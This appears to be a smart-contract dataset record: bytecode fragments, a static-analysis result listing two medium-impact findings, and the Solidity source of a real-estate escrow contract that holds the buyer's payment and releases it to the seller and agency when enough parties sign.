34e487b7160e01b600052603260045260246000fd5b60408051606081018252929091015463ffffffff81168084526001600160701b03600160201b830481166020860152600160901b909204821684840181905292870151875194965061101694921692916103c49161172f565b611020908761169e565b95508361102c8161176e565b945050610f27565b61103e8a876116b6565b985060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561109b57600080fd5b505afa1580156110af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d391906115d8565b855163ffffffff91821694506110ed935016905082611718565b9850505050505050505094509492505050565b600082620100015486866111149190611718565b61111e90856116d6565b61112891906116b6565b61113291906116b6565b95945050505050565b61ffff80546000918291829161115491600191166116f5565b61ffff1661ffff811061117757634e487b7160e01b600052603260045260246000fd5b6040805160608082018352939092015463ffffffff811683526001600160701b03600160201b820481166020850152600160901b90910416828201528051630240bc6b60e21b815290519193506000926001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692630902f1ac926004818101939291829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124c91906115d8565b84519093506000925061126091508361172f565b90506107088163ffffffff1611156114d0576000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635909c0d56040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d757600080fd5b505afa1580156112eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130f919061163e565b61131991906116d6565b61132391906116b6565b90506000620100005462010001547f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316635a3d54936040518163ffffffff1660e01b815260040160206040518083038186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c2919061163e565b6113cc91906116d6565b6113d691906116b6565b6040805160608101825263ffffffff871681526001600160701b03808616602083015283169181019190915261ffff80549293509091600091908116908261141d8361174c565b91906101000a81548161ffff021916908361ffff16021790555061ffff1661ffff811061145a57634e487b7160e01b600052603260045260246000fd5b825191018054602084015160409094015163ffffffff90931671ffffffffffffffffffffffffffffffffffff1990911617600160201b6001600160701b03948516021771ffffffffffffffffffffffffffffffffffff16600160901b939092169290920217905550600194506109219350505050565b6000935050505090565b80356001600160a01b03811681146114f157600080fd5b919050565b80516001600160701b03811681146114f157600080fd5b600080600060608486031215611521578283fd5b61152a846114da565b92506020840135915061153f604085016114da565b90509250925092565b6000806000806080858703121561155d578081fd5b611566856114da565b93506020850135925061157b604086016114da565b9396929550929360600135925050565b600080600080600060a086880312156115a2578081fd5b6115ab866114da565b9450602086013593506115c0604087016114da565b94979396509394606081013594506080013592915050565b6000806000606084860312156115ec578283fd5b6115f5846114f6565b9250611603602085016114f6565b9150604084015163ffffffff8116811461161b578182fd5b809150509250925092565b600060208284031215611637578081fd5b5035919050565b60006020828403121561164f578081fd5b5051919050565b604080825283519082018190526000906020906060840190828701845b8281101561168f57815184529284019290840190600101611673565b50505092019290925292915050565b600082198211156116b1576116b1611789565b500190565b6000826116d157634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156116f0576116f0611789565b500290565b600061ffff8381169083168181101561171057611710611789565b039392505050565b60008282101561172a5761172a611789565b500390565b600063ffffffff8381169083168181101561171057611710611789565b600061ffff8083168181141561176457611764611789565b6001019392505050565b600060001982141561178257611782611789565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122039056c965452b2592e43896c73f4a11950bbadad965fe56f52e0fbe7eaad098264736f6c63430008030033a26469706673582212204c14c7e82fc2f5f2ef5a4156d4410972191e58380bff9342e06cb5e43729b51464736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 9,165 |
0x21ef3d6663a7468200a9c671526986f7e12682a8
|
/**
* @title smart real estate platform implementation
* @author Maxim Akimov - <devstylesoftware@gmail.com>
*/
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public ownerCandidat;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public{
require(newOwner != address(0));
ownerCandidat = newOwner;
}
/**
* @dev Allows safe change current owner to a newOwner.
*/
function confirmOwnership() public{
require(msg.sender == ownerCandidat);
owner = msg.sender;
}
}
/*
пока не забыл - контаркту "хранилице" нужно сделать несоклько владельцев
что б можно было основной контаркт с бищнес логикой новый выпускать
(дажеесли в старом еще есть незакрытые сделки)
*/
contract realestate is Ownable{
using SafeMath for uint;
enum statuses {
created,canceled,signed,finished
}
struct _sdeal{
address buyer;
address seller;
address signer;
// address agency;
uint sum;
uint fee;
address signBuyer;
address signSeller;
// address signAgency;
uint atCreated;
uint atClosed;
uint balance;
statuses status;
uint dealNumber;
string comment;
uint objectType; // 0 - old 1 - new
}
struct _sSigns{
address finishSignBuyer;
address finishSignSeller;
address finishSignSigner;
}
event MoneyTransfer(
address indexed _from,
address indexed _to,
uint _value
);
//Need to change to private
//uint public feePercent; // нуно ли менять в процессе?
address public agencyOwner;
address public agencyReceiver;
_sdeal[] public deals;
_sSigns[] public signs;
// **************** modifiers **************** //
modifier onlyAgency(){
require(msg.sender == agencyOwner);
_;
}
/* modifier onlyDealMembers(uint _dealNumber){
uint deal = dealNumbers[_dealNumber];
require(msg.sender == deals[deal].buyer|| msg.sender == deals[deal].seller
|| msg.sender == deals[deal].agency || msg.sender == deals[deal].signer);
_;
}*/
modifier onlySigner(uint _dealNumber){
uint deal = dealNumbers[_dealNumber];
require(msg.sender == deals[deal].signer);
_;
}
/*
TODO
сделать модификатор для всех ктоучавствует в сделки
*/
constructor() public{
//feePercent = 3;// need??
agencyOwner = msg.sender;
agencyReceiver = msg.sender;
}
function changeAgencyOwner(address newAgency) public {
require(msg.sender == agencyOwner || msg.sender == owner);
agencyOwner = newAgency;
}
function changeAgencyReceiver (address _agencyReceiver) public{
require(msg.sender == agencyOwner || msg.sender == owner);
agencyReceiver = _agencyReceiver;
}
//как много раз можно изменть ??
/* function changeDealDate(uint _deal, uint _date) onlyAgency public{
require(deals[_deal].isProlong);
deals[_deal].date = _date;
}*/
function getSigns(uint _dealNumber) constant public returns (address signBuyer,
address signSeller){
uint deal = dealNumbers[_dealNumber];
return (
deals[deal].signBuyer,
deals[deal].signSeller
// deals[deal].signAgency
);
}
function getDealByNumber(uint _dealNumber) constant public returns (address buyer,
address sender,
address agency,
uint sum,
uint atCreated,
statuses status,
uint objectType) {
uint deal = dealNumbers[_dealNumber];
return (
deals[deal].buyer,
deals[deal].seller,
deals[deal].signer,
deals[deal].sum,
deals[deal].atCreated,
deals[deal].status,
deals[deal].objectType
);
}
function getDealsLength() onlyAgency constant public returns (uint len){
return deals.length;
}
function getDealById(uint deal) onlyAgency constant public returns (address buyer,
address sender,
address agency,
uint sum,
uint atCreated,
statuses status,
uint objectType,
uint dealID) {
return (
deals[deal].buyer,
deals[deal].seller,
deals[deal].signer,
deals[deal].sum,
deals[deal].atCreated,
deals[deal].status,
deals[deal].objectType,
deal
);
}
function getDealDataByNumber(uint _dealNumber) constant public returns
(string comment,
uint fee,
uint atClosed) {
uint deal = dealNumbers[_dealNumber];
return (
deals[deal].comment,
deals[deal].fee,
deals[deal].atClosed
);
}
mapping (uint=>uint) public dealNumbers;
function addDeal(address buyer, address seller, address signer, uint sum, uint fee, uint objectType, uint _dealNumber, string comment, uint whoPay) onlyAgency public{
/*
objecType = 0 // old
objecType = 1 // new
*/
// feePercent = _feePercent;
// sum = sum.mul(1 ether);
//uint fee = sum.mul(feePercent).div(100);
// fee = fee.mul(1 ether);
//Кто приоритетнее objectType or WhoPay
/*
whopay = 0 // pay fee buyer
whopay = 1 // pay fee seller
*/
if(whoPay ==0){
sum = sum.add(fee);
}
/* if(objectType == 0){
//buyer pay fee. increase sum to feePercent
sum = sum.add(fee);
}
*/
uint newIndex = deals.length++;
signs.length ++;
deals[newIndex].buyer = buyer;
deals[newIndex].seller = seller;
deals[newIndex].signer = signer;
// deals[newIndex].agency = agencyOwner;
deals[newIndex].sum = sum;
deals[newIndex].fee = fee;
//deals[newIndex].date = date;
// deals[newIndex].isProlong = isProlong;
deals[newIndex].atCreated = now;
deals[newIndex].signBuyer = 0x0;
deals[newIndex].signSeller = 0x0;
deals[newIndex].comment = comment;
deals[newIndex].status = statuses.created;
//deals[newIndex].signAgency = 0x0;
deals[newIndex].balance = 0;
deals[newIndex].objectType = objectType;
deals[newIndex].dealNumber = _dealNumber;
dealNumbers[_dealNumber] = newIndex;
signs[newIndex].finishSignSeller = 0x0;
signs[newIndex].finishSignBuyer = 0x0;
signs[newIndex].finishSignSigner = 0x0;
}
// Buyer sign
function signBuyer(uint _dealNumber) public payable{
uint deal = dealNumbers[_dealNumber];
//If sign of buyer is mpty and sender it is buyer for this deal
require(deals[deal].signBuyer == 0x0 && msg.sender == deals[deal].buyer);
require(deals[deal].signSeller == deals[deal].seller);
//Check, value of tx need >= summ of deal
//TODO: need change maker!!!!
require(deals[deal].sum == msg.value);
deals[deal].signBuyer = msg.sender;
deals[deal].balance = msg.value;
deals[deal].status = statuses.signed;
}
// Seller sign
function signSeller(uint _dealNumber) public {
uint deal = dealNumbers[_dealNumber];
//If sign of seller is empty and sender it is seller for this deal
require(deals[deal].signSeller == 0x0 && msg.sender == deals[deal].seller);
deals[deal].signSeller = msg.sender;
}
// Agency sign
/* function signAgency(uint _dealNumber) onlyAgency public {
uint deal = dealNumbers[_dealNumber];
//If sign of Agency is empty and sender it is agency for this deal
require(deals[deal].signAgency == 0x0);
deals[deal].signAgency = msg.sender;
}*/
//возарт после истечения срока
/* function refound(uint deal) public{
require(now > deals[deal].date && deals[deal].isProlong == false && deals[deal].balance > 0);
//или все таки возврат делать покупателю!!???
deals[deal].agency.transfer(deals[deal].balance);
balances[deals[deal].buyer] = 0;
deals[deal].balance = 0;
}*/
/*
function finishSign(uint _dealNumber) public{
uint deal = dealNumbers[_dealNumber];
require(deals[deal].balance > 0 && deals[deal].status == statuses.signed );
if(msg.sender == deals[deal].buyer){
signs[deal].finishSignBuyer = msg.sender;
}
if(msg.sender == deals[deal].seller){
signs[deal].finishSignSeller = msg.sender;
}
if(msg.sender ==deals[deal].signer){
signs[deal].finishSignSigner = msg.sender;
}
}*/
function finishDeal(uint _dealNumber) public{
uint deal = dealNumbers[_dealNumber];
require(deals[deal].balance > 0 && deals[deal].status == statuses.signed );
//SIGNING.....
if(msg.sender == deals[deal].buyer){
signs[deal].finishSignBuyer = msg.sender;
}
if(msg.sender == deals[deal].seller){
signs[deal].finishSignSeller = msg.sender;
}
if(msg.sender ==deals[deal].signer){
signs[deal].finishSignSigner = msg.sender;
}
//////////////////////////
uint signCount = 0;
if(deals[deal].buyer == signs[deal].finishSignBuyer){
signCount++;
}
if(deals[deal].seller == signs[deal].finishSignSeller){
signCount++;
}
if(deals[deal].signer == signs[deal].finishSignSigner){
signCount++;
}
if(signCount >= 2){
//transfer fund to seller
deals[deal].seller.transfer(deals[deal].sum - deals[deal].fee);
emit MoneyTransfer(this,deals[deal].seller,deals[deal].sum-deals[deal].fee);
//transer fund to agency (fee)
agencyReceiver.transfer(deals[deal].fee);
emit MoneyTransfer(this,agencyReceiver,deals[deal].fee);
deals[deal].balance = 0;
deals[deal].status = statuses.finished;
deals[deal].atClosed = now;
}
}
// нужно ли тут расчиывать коммисию???
function cancelDeal(uint _dealNumber) onlySigner(_dealNumber) public{
uint deal = dealNumbers[_dealNumber];
require(deals[deal].balance > 0 && deals[deal].status == statuses.signed);
deals[deal].buyer.transfer(deals[deal].balance);
//emit MoneyTransfer(this,deals[deal].buyer,deals[deal].balance);
deals[deal].balance = 0;
deals[deal].status = statuses.canceled;
deals[deal].atClosed = now;
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303988f841461012257806306a5f0871461030d5780630aba73d71461033a5780630fab14e81461043e57806331ea1a39146104955780634327acda146104c25780634b3c45db146105bd5780634c480c2a146106715780635030c325146106c8578063564e406f146106e85780636fc39a381461072b5780638da5cb5b1461076e578063a6459042146107c5578063a6f7257a1461081c578063a99da6af146108bc578063cb75b997146108e9578063d5d1e770146109bc578063de96f537146109d3578063eddfcffa14610a14578063f2fde38b14610a3f578063f4bbd5d414610a82575b600080fd5b34801561012e57600080fd5b5061014d60048036038101908080359060200190929190505050610b7f565b604051808f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018c81526020018b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200188815260200187815260200186815260200185600381111561027557fe5b60ff16815260200184815260200180602001838152602001828103825284818151815260200191508051906020019080838360005b838110156102c55780820151818401526020810190506102aa565b50505050905090810190601f1680156102f25780820380516001836020036101000a031916815260200191505b509f5050505050505050505050505050505060405180910390f35b34801561031957600080fd5b5061033860048036038101908080359060200190929190505050610d3f565b005b34801561034657600080fd5b5061036560048036038101908080359060200190929190505050610e96565b604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200186815260200185815260200184600381111561041757fe5b60ff1681526020018381526020018281526020019850505050505050505060405180910390f35b34801561044a57600080fd5b5061045361106e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a157600080fd5b506104c060048036038101908080359060200190929190505050611094565b005b3480156104ce57600080fd5b506105bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001909291905050506112f7565b005b3480156105c957600080fd5b506105e860048036038101908080359060200190929190505050611816565b6040518080602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015610634578082015181840152602081019050610619565b50505050905090810190601f1680156106615780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561067d57600080fd5b5061068661193f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106e660048036038101908080359060200190929190505050611965565b005b3480156106f457600080fd5b50610729600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c0b565b005b34801561073757600080fd5b5061076c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d02565b005b34801561077a57600080fd5b50610783611df9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107d157600080fd5b506107da611e1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082857600080fd5b5061084760048036038101908080359060200190929190505050611e44565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b3480156108c857600080fd5b506108e760048036038101908080359060200190929190505050611eeb565b005b3480156108f557600080fd5b50610914600480360381019080803590602001909291905050506127b6565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390f35b3480156109c857600080fd5b506109d161284f565b005b3480156109df57600080fd5b506109fe600480360381019080803590602001909291905050506128ed565b6040518082815260200191505060405180910390f35b348015610a2057600080fd5b50610a29612905565b6040518082815260200191505060405180910390f35b348015610a4b57600080fd5b50610a80600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061296e565b005b348015610a8e57600080fd5b50610aad60048036038101908080359060200190929190505050612a49565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001836003811115610b5f57fe5b60ff16815260200182815260200197505050505050505060405180910390f35b600481815481101515610b8e57fe5b90600052602060002090600e02016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060030154908060040154908060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600701549080600801549080600901549080600a0160009054906101000a900460ff169080600b01549080600c018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d2f5780601f10610d0457610100808354040283529160200191610d2f565b820191906000526020600020905b815481529060010190602001808311610d1257829003601f168201915b50505050509080600d015490508e565b6000600660008381526020019081526020016000205490506000600482815481101515610d6857fe5b90600052602060002090600e020160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e285750600481815481101515610dc757fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610e3357600080fd5b33600482815481101515610e4357fe5b90600052602060002090600e020160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600080600080600080600080600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610efe57600080fd5b600489815481101515610f0d57fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048a815481101515610f4e57fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048b815481101515610f8f57fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660048c815481101515610fd057fe5b90600052602060002090600e02016003015460048d815481101515610ff157fe5b90600052602060002090600e02016007015460048e81548110151561101257fe5b90600052602060002090600e0201600a0160009054906101000a900460ff1660048f81548110151561104057fe5b90600052602060002090600e0201600d01548f97509750975097509750975097509750919395975091939597565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000816000600660008381526020019081526020016000205490506004818154811015156110be57fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112957600080fd5b60066000858152602001908152602001600020549250600060048481548110151561115057fe5b90600052602060002090600e0201600901541180156111b257506002600381111561117757fe5b60048481548110151561118657fe5b90600052602060002090600e0201600a0160009054906101000a900460ff1660038111156111b057fe5b145b15156111bd57600080fd5b6004838154811015156111cc57fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60048581548110151561122657fe5b90600052602060002090600e0201600901549081150290604051600060405180830381858888f19350505050158015611263573d6000803e3d6000fd5b50600060048481548110151561127557fe5b90600052602060002090600e020160090181905550600160048481548110151561129b57fe5b90600052602060002090600e0201600a0160006101000a81548160ff021916908360038111156112c757fe5b0217905550426004848154811015156112dc57fe5b90600052602060002090600e02016008018190555050505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135557600080fd5b6000821415611374576113718688612bd990919063ffffffff16565b96505b600480548091906001016113889190612bf7565b90506005805480919060010161139e9190612c29565b50896004828154811015156113af57fe5b90600052602060002090600e020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508860048281548110151561140e57fe5b90600052602060002090600e020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508760048281548110151561146d57fe5b90600052602060002090600e020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550866004828154811015156114cc57fe5b90600052602060002090600e020160030181905550856004828154811015156114f157fe5b90600052602060002090600e0201600401819055504260048281548110151561151657fe5b90600052602060002090600e020160070181905550600060048281548110151561153c57fe5b90600052602060002090600e020160050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060048281548110151561159c57fe5b90600052602060002090600e020160060160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826004828154811015156115fb57fe5b90600052602060002090600e0201600c01908051906020019061161f929190612c5b565b50600060048281548110151561163157fe5b90600052602060002090600e0201600a0160006101000a81548160ff0219169083600381111561165d57fe5b0217905550600060048281548110151561167357fe5b90600052602060002090600e0201600901819055508460048281548110151561169857fe5b90600052602060002090600e0201600d0181905550836004828154811015156116bd57fe5b90600052602060002090600e0201600b018190555080600660008681526020019081526020016000208190555060006005828154811015156116fb57fe5b906000526020600020906003020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060058281548110151561175b57fe5b906000526020600020906003020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006005828154811015156117bb57fe5b906000526020600020906003020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050505050505050565b606060008060006006600086815260200190815260200160002054905060048181548110151561184257fe5b90600052602060002090600e0201600c0160048281548110151561186257fe5b90600052602060002090600e02016004015460048381548110151561188357fe5b90600052602060002090600e020160080154828054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561192a5780601f106118ff5761010080835404028352916020019161192a565b820191906000526020600020905b81548152906001019060200180831161190d57829003601f168201915b50505050509250935093509350509193909250565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060066000838152602001908152602001600020549050600060048281548110151561198e57fe5b90600052602060002090600e020160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611a4e57506004818154811015156119ed57fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a5957600080fd5b600481815481101515611a6857fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600482815481101515611abf57fe5b90600052602060002090600e020160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611b1357600080fd5b34600482815481101515611b2357fe5b90600052602060002090600e020160030154141515611b4157600080fd5b33600482815481101515611b5157fe5b90600052602060002090600e020160050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034600482815481101515611bb057fe5b90600052602060002090600e0201600901819055506002600482815481101515611bd657fe5b90600052602060002090600e0201600a0160006101000a81548160ff02191690836003811115611c0257fe5b02179055505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611cb357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611cbe57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611daa57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611db557600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600060066000858152602001908152602001600020549050600481815481101515611e6e57fe5b90600052602060002090600e020160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600482815481101515611eaf57fe5b90600052602060002090600e020160060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250925050915091565b600080600660008481526020019081526020016000205491506000600483815481101515611f1557fe5b90600052602060002090600e020160090154118015611f77575060026003811115611f3c57fe5b600483815481101515611f4b57fe5b90600052602060002090600e0201600a0160009054906101000a900460ff166003811115611f7557fe5b145b1515611f8257600080fd5b600482815481101515611f9157fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415612056573360058381548110151561200657fe5b906000526020600020906003020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60048281548110151561206557fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561212a57336005838154811015156120da57fe5b906000526020600020906003020160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60048281548110151561213957fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156121fe57336005838154811015156121ae57fe5b906000526020600020906003020160020160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6000905060058281548110151561221157fe5b906000526020600020906003020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660048381548110151561226857fe5b90600052602060002090600e020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156122bf5780806001019150505b6005828154811015156122ce57fe5b906000526020600020906003020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660048381548110151561232557fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561237c5780806001019150505b60058281548110151561238b57fe5b906000526020600020906003020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166004838154811015156123e257fe5b90600052602060002090600e020160020160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156124395780806001019150505b6002811015156127b15760048281548110151561245257fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6004848154811015156124ac57fe5b90600052602060002090600e0201600401546004858154811015156124cd57fe5b90600052602060002090600e020160030154039081150290604051600060405180830381858888f1935050505015801561250b573d6000803e3d6000fd5b5060048281548110151561251b57fe5b90600052602060002090600e020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fb84bdcbbb2d10fbf5aee51df68c6d83f7700948158de89ec136b5bfcd000c3ff6004858154811015156125aa57fe5b90600052602060002090600e0201600401546004868154811015156125cb57fe5b90600052602060002090600e020160030154036040518082815260200191505060405180910390a3600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff